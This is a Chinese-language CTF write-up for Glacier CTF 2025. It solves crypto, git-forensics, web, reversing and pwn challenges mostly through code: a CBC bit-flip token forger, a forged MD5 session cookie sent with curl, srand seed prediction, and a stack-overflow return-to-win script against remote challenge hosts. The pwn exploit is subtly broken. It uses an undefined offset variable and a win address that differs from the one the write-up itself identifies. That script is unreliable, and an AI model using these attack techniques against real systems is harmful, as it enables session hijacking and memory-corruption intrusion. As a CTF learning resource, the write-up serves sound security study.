Glacier CTF 2025--部分题解

简述:由于时间关系,我这里只记录了几道题

一、MISC

1、crypto

题目描述:crypto challenge

我们可以拿到一个压缩文件

复制代码
# 解压后有这些文件
└─# ls
challenge  deploy.bat  deploy.sh  Dockerfile  entrypoint.sh  flag.txt  requirements.txt  sha256sum

# 查看一下challchallenge
└─# cat challenge
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Respect the shebang and mark file as executable

import base64
import json
import os

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.Padding import unpad

def main() -> int:

    with open("/flag.txt", "r") as flag_file:
        FLAG = flag_file.read()

    # We choose a random key
    key = os.urandom(16)
    cipher = AES.new(key, AES.MODE_CBC)

    print("Welcome to AES, the Authentic Engagement Solutions")
    print("The only service that we offer is to greet you")

    while True:
        print("1) Get a token")
        print("2) Redeem a previously issued token")
        print("3) Exit")

        choice = input("> ")

        try:
            choice_int = int(choice)
        except ValueError:
            print("An error occured!")
            continue
        
        if choice_int == 1:
            print("Hey, what's your name?")
            name = input("> ")
            token = f"admin=0;name={name}".encode()

            ct_bytes = cipher.encrypt(pad(token, AES.block_size))
            iv = base64.b64encode(cipher.iv).decode()
            ct = base64.b64encode(ct_bytes).decode()
            token_enc = json.dumps({'iv':iv, 'ct':ct})

            print(f"Here is your token: {token_enc}")

        elif choice_int == 2:
            print("Hey, what's your token?")
            token_str = input("> ")
            token = json.loads(token_str)

            iv = base64.b64decode(token['iv'])
            ct = base64.b64decode(token['ct'])
            cipher = AES.new(key, AES.MODE_CBC, iv)
            pt = unpad(cipher.decrypt(ct), AES.block_size).decode()

            token_content = {
                part.split("=")[0]: part.split("=")[1]
                for part in pt.split(";")
            }

            print(token_content)
            print(f"Hey {token_content['name']}, thanks for using our service :)")

            if token_content["admin"] != "0":
                print(f"You seem to be admin, take this: {FLAG}")

        elif choice_int == 3:
            print("Thanks for using AES. See you again soon")
            break
        else:
            print("I don't know what you want :(")

    return 0

if __name__ == '__main__':
    raise SystemExit(main())

通过阅读代码可以知道典型的 CBC 比特翻转攻击

  • 利用 AES-CBC 模式中,修改前一个密文块(或 IV)可以影响下一个明文块的特性。

  • 目标是将 admin=0 改为 admin=1,从而通过检查,拿到 flag。

  • 攻击时只需修改 IV 的对应字节(异或 0x01),保持密文不变,即可改变解密后的明文。

分析完代码直接写一个脚本

python 复制代码
import base64
import json
from pwn import *

r = remote('x.x.x.x.x', 13387)

r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b'> ')
r.sendline(b'A')

line = r.recvuntil(b'}').decode()
token_str = line.split('token: ')[1]
token = json.loads(token_str)

iv = base64.b64decode(token['iv'])
ct = base64.b64decode(token['ct'])

# 修改 IV
iv_arr = bytearray(iv)
iv_arr[6] ^= 1
iv_modified = base64.b64encode(bytes(iv_arr)).decode()

new_token = {'iv': iv_modified, 'ct': token['ct']}

# 提交
r.recvuntil(b'> ')
r.sendline(b'2')
r.recvuntil(b'> ')
r.sendline(json.dumps(new_token).encode())

# 接收 flag
print(r.recvall().decode())


# 运行后结果中可以看到You seem to be admin, take this: gctf{fa81f9cb_w3lc0me_t0_cr1pt0_415a74a1}

2、gitresethard

题目描述:Kevin joined our company. Kevin took a shit on the carpet. Kevin git reseted --hard the entire repo. Kevin force pushed. Kevin left the company. Now its your turn to fix the mess. You get the compressed disk with the repository.

从描述来看,Kevin 执行了 git reset --hard 然后强制推送,破坏了仓库历史。我们也是可以拿到一个压缩文件

bash 复制代码
# 解压后查看一下文件
└─# ls
config  description  HEAD  hooks  info  objects  refs

└─# cat HEAD    
ref: refs/heads/main

└─# cat refs/heads/main
7a5f0a687a174675dbebea6b84e620610b07342e

可以看到HEAD 指向 refs/heads/main,同时有了当前 main 分支指向的提交哈希。

可以先查找悬空对象,悬空对象通常包括:被reset --hard 删除的提交、被强制推送覆盖的提交、其他丢失的 Git 对象,当找到悬空对象提交的哈希值,就可以通过创建新分支或重置来恢复它们。

这里有个坑,当我们直接执行git fsck --full --unreachable --no-reflogs的时候可能会遇到一个 Git 安全特性导致的错误。我们可以添加安全目录,然后再执行git fsck --full --unreachable --no-reflogs

bash 复制代码
└─# git config --global --add safe.directory /当前目录/gitresethard/repo

└─# git fsck --full --unreachable --no-reflogs
正在检查引用数据库: 100% (1/1), 完成.
正在检查对象目录: 100% (256/256), 完成.

# 这个地方内容比较多我就不粘出来了

从输出内容中可以找到很多悬空对象,包括多个 commit 对象,找出哪些是 Kevin 删除的重要提交。我们需要找到 Kevin 破坏之前的最后一个有效提交。查看提交链并找到最新的提交。

bash 复制代码
└─# git cat-file -p 6a81c76ebba614823433d7caf0ea7e523a998fcb
tree 0e2c0a50992e569f65e7458692af73ee064ffa9f
parent 123eade37d013dfe4da4b4bdf9bcb30c269db90a
author Kevin Saiger <kevin.saiger@losfuzzys.net> 1753295974 +0200
committer Ernesto Martinez Garcia <git@ecomaikgolf.com> 1753295974 +0200

leaving a shit in the carpet

接下来尝试恢复仓库,因为这是一个裸仓库,没有工作目录,所以我直接操作裸仓库的引用

bash 复制代码
└─# git update-ref refs/heads/main 123eade37d013dfe4da4b4bdf9bcb30c269db90a

之后通过git log --oneline -5,cat refs/heads/main这两个命令验证恢复,通过验证恢复我们知道:main分支现在指向:123eade37d013dfe4da4b4bdf9bcb30c269db90a,Kevin 的破坏提交 (6a81c76ebba614823433d7caf0ea7e523a998fcb) 已从历史中移除,仓库恢复到正常状态

接下来就是找到flag,查看 Kevin 的破坏提交具体内容

bash 复制代码
└─# git show 6a81c76ebba614823433d7caf0ea7e523a998fcb
commit 6a81c76ebba614823433d7caf0ea7e523a998fcb
Author: Kevin Saiger <kevin.saiger@losfuzzys.net>
Date:   Wed Jul 23 20:39:34 2025 +0200

    leaving a shit in the carpet

diff --git a/carpet/shit b/carpet/shit
new file mode 100755
index 0000000..8be5575
--- /dev/null
+++ b/carpet/shit
@@ -0,0 +1,3 @@
+#!/bin/bash
+
+openssl enc -d -aes-256-cbc -pbkdf2 -pass pass:tJnAQZQF2bKx4 -in <(base64 -d <(echo "U2FsdGVkX18liMZqk4AiqSRX5HZpfrnZAmrfRaS1UztVewZqjgX1wTHCNNj2H5crA/0VUhBXMk9bo/N/lKfFPQ==")) -A -out -

从输出信息中可以看到Kevin 在 carpet/shit 文件中留下了一个加密的信息,进行解密

bash 复制代码
└─# openssl enc -d -aes-256-cbc -pbkdf2 -pass pass:tJnAQZQF2bKx4 -in <(base64 -d <(echo "U2FsdGVkX18liMZqk4AiqSRX5HZpfrnZAmrfRaS1UztVewZqjgX1wTHCNNj2H5crA/0VUhBXMk9bo/N/lKfFPQ==")) -A -out -
gctf{0113_wh0_g1t_r3s3t3d_th3_c4t_4789}

二、WEB

题目描述:We are launching our new management board and have quite a lot of people using it. Everyone logs into it all the time. Check it out.

我们同样可以拿到一个压缩包

bash 复制代码
# 解压查看都什么文件
└─# ls
config  deploy.bat  deploy.sh  Dockerfile  flag.txt  index.php  prelogin.php  sha256sum  users.json  web

# 查看文件具体内容
└─# cat prelogin.php 
<?php

require_once "/var/www/html/index.php";

$users = json_decode(file_get_contents("/var/www/users.json"));
if(!is_array($users)) return;
foreach($users as $idx => $user) {
  $sessionID = generateSessionID($idx);
  storeSession($sessionID, json_encode($user));
}

?>
                                                                                                                                                                                                      

└─# cat index.php   
<?php

function generateSessionID($seed) {
  return md5($seed); 
}

function storeSession($sessionID, $value) {
  file_put_contents("/tmp/$sessionID", $value);
}

function retrieveSession($sessionID) {
  return json_decode(file_get_contents("/tmp/$sessionID"));
}

function getSessionID() {
  $sessionID = $_COOKIE["sess"];   
  if($sessionID == NULL) return NULL;
  return preg_match('/^[a-f0-9]{32}$/i', $sessionID) ? $sessionID : NULL;
}

function handleLogin() {
  $form = filter_input(INPUT_POST, "form");
  if($form === "login") {
    $username = filter_input(INPUT_POST, "username");
    $password = filter_input(INPUT_POST, "password");
    $users = json_decode(file_get_contents("/var/www/users.json"));
    if(!is_array($users)) return;
    foreach($users as $idx => $user) {
      if($user->username === $username && $user->password === $password) {
        $sessionID = generateSessionID($idx);
        setcookie("sess", $sessionID);
        storeSession($sessionID, json_encode($user));
        header("Location: /");
        exit();
      }
    }
  }
}

handleLogin();

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Form</title>
    <link rel="stylesheet" href="./main.css">
</head>
<body>

  <?php

if(getSessionID()) {
  $sessionData = retrieveSession(getSessionID());
  if($sessionData != NULL) {
    ?>
    <div class="main-container">
      <h2>Hello <?= $sessionData->username; ?></h2>
      <p>Nice to see you.</p>
      <?php if($sessionData->moderator === true) { ?>
      <p>Oh, you are moderator! Here you go: <?= file_get_contents("/flag.txt"); ?></p>
      <?php } ?>
      </div>

    <?php    
    } else {
    ?>
    <div class="main-container">
      <h2>Oh snap!</h2>
      <p>Something went wrong retrieving the session</p>
      </div>

    <?php
    }
} else {
?>

    <div class="main-container">
        <h2>Login</h2>
        <form action="#" method="POST">
            <input type="hidden" name="form" value="login" />
            <div class="input-group">
                <input type="text" placeholder="Username" name="username" required>
            </div>
            <div class="input-group">
                <input type="password" placeholder="Password" name="password" required>
            </div>
            <button type="submit" class="btn">Login</button>
        </form>
    </div>

  <?php
} ?>
</body>
</html>
                                                                                                                                                                                                      

└─# cat users.json 
[
  {
    "username": "test",
    "password": "test",
    "moderator": false
  },
  {
    "username": "alice",
    "password": "WpYcHA1li7@*$Z%mp&W#3ZYIYPw1iVkj",
    "moderator": false
  },
  { 
    "username": "admin",
    "password": "!UCA3P4*Dg@nam4L!oodQK4@TjmC9cnh",
    "moderator": true
  }
]

通过分析代码可以知道:

  1. Session 预测 --- prelogin.php 为每个用户预生成 session 文件,文件名是 md5(索引),内容包含用户权限信息。

  2. 无会话绑定 --- 系统只根据 Cookie 中的 sess 值读取对应的 session 文件,不验证该会话是否通过合法登录创建。

  3. 权限提升 --- 直接使用 admin 对应的 session 文件(md5(2))即可获得 moderator 权限并读取 flag。

bash 复制代码
└─# curl -b 'sess=c81e728d9d4c2f636f067f89cc14862c' https://x.x.x.x/

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Form</title>
    <link rel="stylesheet" href="./main.css">
</head>
<body>

      <div class="main-container">
      <h2>Hello admin</h2>
      <p>Nice to see you.</p>
            <p>Oh, you are moderator! Here you go: gctf{1837FA7S_aLWAYs_R4nd0m!z3_Y0uR_C00k!3S!!!_8AJ483H14}
</p>
            </div>

    </body>
</html>

三、Rev

1、easyrev

题目描述:rev challenge

可以拿到一个challenge 文件

bash 复制代码
# 检查文件类型
└─# file challenge 
challenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dc5e5b2c606ee6a69928276f2206aa9a9fbd6424, for GNU/Linux 3.2.0, stripped

# 看一下程序行为
└─# ./challenge                 
Enter flag: 
1
Incorrect

# 用 ltrace 观察输入比较过程
└─# echo "test" | ltrace ./challenge
setvbuf(0x7fb29d0e55c0, nil, 2, 0)                                                                                        = 0
setvbuf(0x7fb29d0e48e0, nil, 2, 0)                                                                                        = 0
setvbuf(0x7fb29d0e54e0, nil, 2, 0)                                                                                        = 0
puts("Enter flag: "Enter flag: 
)                                                                                                      = 13
fgets("test\n", 256, 0x7fb29d0e48e0)                                                                                      = 0x7ffd6eebea90
strchr("test\n", '\n')                                                                                                    = "\n"
strcmp("test", "gctf{bd88c4d4_w3lc0m3_t0_r3v_574"...)                                                                     = 13
puts("Incorrect"Incorrect
)                                                                                                         = 10
+++ exited (status 0) +++

# 可以看到直接是有字符串比较,直接丢进IDA即可拿到flag
gctf{bd88c4d4_w3lc0m3_t0_r3v_574dc8aa}

2、Wisdom

题目描述:You must be very wise to pass this one

同样可以拿到challenge文件

bash 复制代码
# 检查文件类型
└─# file challenge
challenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d740ffbeabf8b33a400447c2673acf89ea6a2d9b, for GNU/Linux 3.2.0, not stripped

# 查看一下文件行为
└─# ./challenge
Enter thy wisdom: 1
Unwise...

# 用objdump查看一下,这里代码比较长,从中可以看到check_flag 函数,这是关键的解密/比较逻辑
00000000004004e0 <check_flag>:
  4004e0:       48 83 ec 08             sub    $0x8,%rsp
  4004e4:       ba 00 00 00 00          mov    $0x0,%edx          ; rdx = 0 (index)
  4004e9:       90                      nop
  ... (一些 nop 填充)
  400500:       0f b6 04 17             movzbl (%rdi,%rdx,1),%eax ; 取输入字符串的字符
  400504:       32 82 40 13 40 00       xor    0x401340(%rdx),%al ; 与 [0x401340+rdx] 异或
  40050a:       29 d0                   sub    %edx,%eax          ; 减去索引值
  40050c:       02 05 22 2b 00 00       add    0x2b22(%rip),%al   ; 加上 MAGIC 值 (地址 0x403034)
  400512:       88 04 17                mov    %al,(%rdi,%rdx,1)  ; 存回
  400515:       48 83 c2 01             add    $0x1,%rdx
  400519:       48 83 fa 2e             cmp    $0x2e,%rdx         ; 循环 0x2e (46) 次
  40051d:       75 e1                   jne    400500 <check_flag+0x20>
  40051f:       be 80 13 40 00          mov    $0x401380,%esi     ; 期望的最终数据地址
  400524:       e8 87 fe ff ff          call   4003b0 <memcmp@plt>; 比较
  400529:       85 c0                   test   %eax,%eax
  40052b:       0f 94 c0                sete   %al
  40052e:       0f b6 c0                movzbl %al,%eax
  400531:       48 83 c4 08             add    $0x8,%rsp
  400535:       c3                      ret

这个逻辑是:

  1. 对输入字符串的每个字节(共 46 字节)做变换:

    • input[i] ^= data_401340[i]

    • input[i] -= i

    • input[i] += MAGIC

  2. 然后与 0x401380 处的 46 字节比较。

然后我选择使用gdb提取数据

bash 复制代码
# 提取异或表 (0x401340)
(gdb) x/46bx 0x401340
0x401340 <KEY>: 0x36    0xd1    0xd9    0xdb    0x89    0xa5    0xbe    0xde
0x401348 <KEY+8>:       0x5e    0xe6    0x0f    0x12    0x02    0x1a    0xe1    0xc0
0x401350 <KEY+16>:      0x0b    0x4c    0xa3    0xb0    0x08    0xe9    0xa0    0xd0
0x401358 <KEY+24>:      0xd1    0xea    0x88    0x71    0x23    0x87    0xd0    0x41
0x401360 <KEY+32>:      0xd8    0x04    0x09    0xa2    0xfd    0x20    0x02    0x28
0x401368 <KEY+40>:      0x0d    0x75    0x8d    0x66    0xa8    0x5c

# 提取目标数据 (0x401380)
(gdb) x/46bx 0x401380
0x401380 <FLAG>:        0xaf    0x0f    0x09    0x18    0x4c    0x47    0x33    0x44
0x401388 <FLAG+8>:      0x64    0x0e    0xbc    0x75    0xbd    0xa5    0xd6    0xee
0x401390 <FLAG+16>:     0xa0    0xc9    0x22    0x3a    0xb9    0xcf    0x3c    0xd6
0x401398 <FLAG+24>:     0xeb    0xe7    0xfd    0x45    0xbe    0xf8    0x20    0xb0
0x4013a0 <FLAG+32>:     0x2b    0x6e    0xa7    0xfe    0x02    0x49    0x73    0x84
0x4013a8 <FLAG+40>:     0xa2    0x78    0xf0    0x88    0xc2    0x52

# 提取 MAGIC 值 (0x403034)
0x403034 <MAGIC>:       0x5e

现在有了需要的数据,写个脚本来解出flag

python 复制代码
xor_table = [
    0x36, 0xd1, 0xd9, 0xdb, 0x89, 0xa5, 0xbe, 0xde,
    0x5e, 0xe6, 0x0f, 0x12, 0x02, 0x1a, 0xe1, 0xc0,
    0x0b, 0x4c, 0xa3, 0xb0, 0x08, 0xe9, 0xa0, 0xd0,
    0xd1, 0xea, 0x88, 0x71, 0x23, 0x87, 0xd0, 0x41,
    0xd8, 0x04, 0x09, 0xa2, 0xfd, 0x20, 0x02, 0x28,
    0x0d, 0x75, 0x8d, 0x66, 0xa8, 0x5c
]

target = [
    0xaf, 0x0f, 0x09, 0x18, 0x4c, 0x47, 0x33, 0x44,
    0x64, 0x0e, 0xbc, 0x75, 0xbd, 0xa5, 0xd6, 0xee,
    0xa0, 0xc9, 0x22, 0x3a, 0xb9, 0xcf, 0x3c, 0xd6,
    0xeb, 0xe7, 0xfd, 0x45, 0xbe, 0xf8, 0x20, 0xb0,
    0x2b, 0x6e, 0xa7, 0xfe, 0x02, 0x49, 0x73, 0x84,
    0xa2, 0x78, 0xf0, 0x88, 0xc2, 0x52
]

MAGIC = 0x5e

flag = []
for i in range(46):
    c = (target[i] - MAGIC + i) & 0xFF
    c ^= xor_table[i]
    flag.append(c)

print("Flag:", bytes(flag).decode('ascii'))


# 运行结果Flag: gctf{Ke3P_g0iNg_Y0u_goT_tH1s_00055ba509ea6138}

3、guessy-timezones

题目描述:This is a multiline challenge description! Feel free to add more lines.

可以拿到一个压缩包

python 复制代码
# 解压查看都有什么文件
└─# ls
challenge  deploy.bat  deploy.sh  flag.txt  sha256sum
                                                                                                                                                                                                      
# 检查文件类型
└─# file challenge
challenge: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a076d4456d5c6a691b6162c76d358f3ca37d0dae, for GNU/Linux 3.2.0, not stripped

# 运行看一下
└─# ./challenge

--------------------------------------------------------
Welcome, thanks for testing out this timezone clock app!
As a thanks for testing it out, you have the chance to win a grand prize!
You just have to guess the correct magic number and submit the flag you get.


Here is a list of available options:

- help:     display this help message
- zones:    displays a list of all available timezones
- time:     prompts you on which timezones time you want to know
  format:     Continent/City
- solve:    Prompts you to enter the magic number
- exit:     Closes the app

> 1
Unknown command: '1'. Type 'help' for options.
> help

- help:     display this help message
- zones:    displays a list of all available timezones
- time:     prompts you on which timezones time you want to know
  format:     Continent/City
- solve:    Prompts you to enter the magic number
- exit:     Closes the app

> zones
-------------------------------------------------
Here are all timezones available in our database:

- America/New_York
- America/Chicago
- America/Denver
- America/Los_Angeles
- America/Vancouver
- America/Sao_Paulo
- America/Buenos_Aires
- America/Mexico_City
- America/Caracas
- Europe/London
- Europe/Paris
- Europe/Berlin
- Europe/Vienna
- Europe/Moscow
- Europe/Kyiv
- Europe/Rome
- Europe/Madrid
- Europe/Istanbul
- Asia/Tokyo
- Asia/Shanghai
- Asia/Hong_Kong
- Asia/Singapore
- Asia/Dubai
- Asia/Kolkata
- Asia/Seoul
- Asia/Bangkok
- Asia/Jerusalem
- Asia/Tehran
- Africa/Cairo
- Africa/Johannesburg
- Africa/Lagos
- Africa/Nairobi
- Africa/Casablanca
- Australia/Sydney
- Australia/Melbourne
- Australia/Perth
- Pacific/Auckland
- Pacific/Honolulu
-------------------------------------------------
> ^C

找到 "magic number" 来获取 flag。

接着输入时间测试一下,当查询 Europe/London 时间时,程序输出:

复制代码
THIS IS THE STRING: 20251123145700  
THIS IS THE SEED: 352345060

接着测试更多的时间看看有什么变化,经过多轮测试可以知道:

  1. SEED 随时间变化:两次查询的 SEED 不同(352345217 vs 352295270

  2. SEED 基于查询时间:每个时区的查询时间不同,SEED 也不同

  3. 旧的 SEED 无效:之前记录的 352345060 已经无效

接着我使用了gdb进行调试,运行info functions后可以看到一个函数是printTimeAndSetWinningNumber,这很可能是处理 time 命令并设置 magic number 的函数。接着设置断点break printTimeAndSetWinningNumber后运行程序,输入完查询时间后查看一下反汇编代码

python 复制代码
0x0000555555555a89 <+185>:   call   0x555555555250 <strtol@plt>  # 将时间字符串转换为数字
0x0000555555555aa7 <+215>:   mov    %ebx,%edx                    # 时间数字 -> %ebx
0x0000555555555abe <+238>:   mov    %ebx,%edi                    # 时间数字作为种子
0x0000555555555abe <+238>:   call   0x555555555220 <srand@plt>   # srand(时间数字)
0x0000555555555ac3 <+243>:   call   0x5555555552d0 <rand@plt>    # rand()
0x0000555555555ac8 <+248>:   mov    %eax,0x26be(%rip)            # 存储到 winning_number

接着在存储 winning_number 的指令设断点break *0x0000555555555ac8,继续运行程序,断点触发后查看 rand() 的返回值 (winning_number)

python 复制代码
(gdb) info registers rax
rax            0x55286eb6          1428713142

找到magic number:1428713142,继续执行程序,输入1428713142即可拿到测试的flag

python 复制代码
(gdb) c
Continuing.
> solve
  Enter the magic number: 1428713142
--------------------------------------------
  Huh! How did you get the correct number?!?
  That was not supposed to actually happen!
  Well, I hate to break it to you but the part about the grand price was actually made up...
  Anyways, here is your flag: gctf{test_flag}

--------------------------------------------
>

接下来就可以写个脚本来获取远程服务器中的真正的flag

python 复制代码
from pwn import *
import ctypes

libc = ctypes.CDLL("libc.so.6")

r = remote('x.x.x.x', 13386)

r.recvuntil(b'> ')

r.sendline(b'time')
r.recvuntil(b'Continent/City): ')
r.sendline(b'Europe/London')

response = r.recvuntil(b'> ')
seed_line = [line for line in response.split(b'\n') if b'THIS IS THE SEED:' in line][0]
seed = int(seed_line.split(b': ')[1].strip())

libc.srand(seed)
magic = libc.rand()

r.sendline(b'solve')
r.recvuntil(b'magic number: ')
r.sendline(str(magic).encode())

print(r.recvuntil(b'}'))

# 运行结果中即可看到flag  gctf{S33ded_P5eud0_R4nd0mn3ss_1s_4lw4ys_b4d!}

四、PWN

1、easypwn

题目描述:pwn challenge

同样拿到一个压缩包

python 复制代码
# 解压看一下都什么文件
└─# ls
challenge  deploy.bat  deploy.sh  Dockerfile  entrypoint.sh  flag.txt  main.c  Makefile  sha256sum

# 看一下一些文件的具体内容
└─# cat main.c 
#include <stdio.h>
#include <stdlib.h>

void win() {
  FILE *f = fopen("/flag.txt", "r");
  if(f == NULL)
    exit(1);

  char flag[256];
  char *r = fgets(flag, 256, f);
  printf("%s\n", flag);
}

void challenge() {
  char buf[0666];
  printf("Enter your input now:\n");
  fread(buf, 1, 666, stdin);
}

int main() {
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin,  NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  challenge();

  return 0;
}

用objdump -d challenge | grep -A5 '<win>:'找出 win 的实际地址(0x4011d6)

python 复制代码
4011d6 <win>:
  4011d6:       f3 0f 1e fa             endbr64
  4011da:       55                      push   %rbp
  4011db:       48 89 e5                mov    %rsp,%rbp
  4011de:       48 81 ec 10 01 00 00    sub    $0x110,%rsp    # 分配 0x110 字节栈空间

找 ret gadget地址是(0x40101a

python 复制代码
└─# ROPgadget --binary challenge | grep ': ret' | head -1
0x000000000040101a : ret

现在我们可以知道:

  • fread 读取 666 字节到 438 字节的缓冲区,造成栈溢出

  • 448 字节(438 缓冲区 + 可能的填充 + 8 字节 rbp)

  • 覆盖返回地址到 win 函数 (0x4011d6)

  • 不需要额外的 ret gadget,直接跳转即可

直接来写个exp

python 复制代码
from pwn import *

p = remote('x.x.x.x', 13388)

win_addr = 0x4011de  

payload = b'A' * offset
payload += p64(win_addr)
payload = payload.ljust(666, b'B')

print(f"Payload length: {len(payload)}")

p.recvuntil(b"now:")
p.send(payload)
print(p.recvall(timeout=2))


# 运行结果中可以看到gctf{3097324b_w3lc0me_t0_pwn_e1dab08a}

相关推荐
pandarking13 小时前
[CTF]攻防世界:SSRF Me
web安全·ctf
!!!!!!!!!!!!!!!!.13 小时前
CTF WEB入门 命令执行篇71-124
笔记·学习·安全·ctf
汤愈韬14 小时前
知识点4:Nat Server的Server-map 跟ASPF中的server map区别与联系
网络协议·网络安全·security·huawei
苦瓜炒蛋挞14 小时前
小迪安全第二十三天-安全开发-PHP应用&后台模块Cookie&Session&Token
网络安全·小迪安全
汤愈韬1 天前
知识点3:动态目的NAT的配置总结
网络·网络协议·网络安全·security·huawei
漏洞文库-Web安全1 天前
Linux逆向学习记录
linux·运维·学习·安全·web安全·网络安全·逆向
浩浩测试一下1 天前
C&&汇编中的调用约定
大数据·汇编·安全·web安全·网络安全·系统安全
雪影风痕1 天前
华为安全防火墙部署
服务器·网络协议·tcp/ip·网络安全